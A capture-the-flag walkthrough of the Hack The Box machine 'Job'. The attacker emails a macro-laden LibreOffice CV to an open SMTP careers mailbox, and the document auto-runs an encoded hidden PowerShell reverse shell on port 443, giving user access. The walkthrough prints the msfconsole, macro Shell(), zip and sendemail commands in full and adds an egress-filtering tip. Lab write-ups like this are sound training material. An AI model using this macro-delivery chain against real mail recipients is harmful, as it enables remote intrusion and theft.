Job

Overview

Job is a Medium-difficulty Windows machine. The front door is a careers website that invites strangers to email a CV as a LibreOffice document to [email protected]. A backend job opens those attachments in LibreOffice with macro execution enabled, so a document carrying an auto-run macro executes our code the moment it is opened — landing a shell as job\jack.black. This post walks recon → foothold → user.txt.

Recon

Port	Service	Notes
25/tcp	hMailServer SMTP	accepts mail for [email protected] (no auth)
80/tcp	Microsoft IIS 10.0	hiring landing page
445/tcp	SMB	—
3389/tcp	RDP	host JOB
5985/tcp	WinRM	—

nmap -p25,80,445,3389,5985 -sC -sV 10.129.234.73

The website on port 80 advertises that the company is hiring developers and asks applicants to send their CV as a LibreOffice document to [email protected]. The combination of an open SMTP mailbox and a backend that opens LibreOffice files is the whole vulnerability.

Enumeration

LibreOffice documents (ODF) can embed Basic macros and bind them to the document-open (dom:load) event, so they run automatically when the file is opened — no click required. If the machine processing CVs opens them with macros allowed, an attacker who controls the document controls code execution on the server.

A couple of environmental quirks shaped the exploit:

• Outbound is firewalled to standard ports. A reverse-shell callback on a high port (9001) was silently dropped; only 443 connected. When a confirmed exploit produces no callback, suspect egress filtering and switch to 80/443.

Foothold

Build a self-contained PowerShell reverse shell and encode it (UTF-16LE base64 for -enc). Using a self-contained payload — rather than a second-stage download — avoids any reliance on a hosted file and keeps everything on the single allowed egress port (443).

# (reverse shell that connects back to the attacker on 443, base64-encoded)
ENC=$(printf '%s' "$PS" | iconv -t UTF-16LE | base64 -w0)

Generate a macro .odt and set its document-open macro to run our encoded shell directly:

msfconsole -q -x "use exploit/multi/misc/openoffice_document_macro; set FILENAME msf.odt; exploit"
# rewrite Basic/Standard/Module1.xml so the OnLoad macro runs:
#   Shell("cmd.exe /C ""powershell.exe -nop -w hidden -ep bypass -e <ENC>""")
zip -X -0 cv.odt mimetype && zip -X -rq cv.odt . -x mimetype

Start a listener on 443, then email the booby-trapped CV to the careers mailbox (no SMTP auth needed):

sendemail -s 10.129.234.73:25 -f "sec <[email protected]>" -t [email protected] \
  -o tls=no -u "Developer - CV" -m "my CV attached" -a cv.odt

A short while later the backend opens the document, the macro fires, and a shell returns as job\jack.black.

whoami
# job\jack.black

Tip: this raw PowerShell reverse shell mangles backslashes in transit, so Windows paths with \ come back empty. PowerShell happily accepts forward slashes — use C:/Users/....

User flag

Get-Content C:/Users/jack.black/Desktop/user.txt   # HTB{...}

Access as job\jack.black achieved.

Foothold complete. Privilege escalation is left as an exercise — this post stops at user.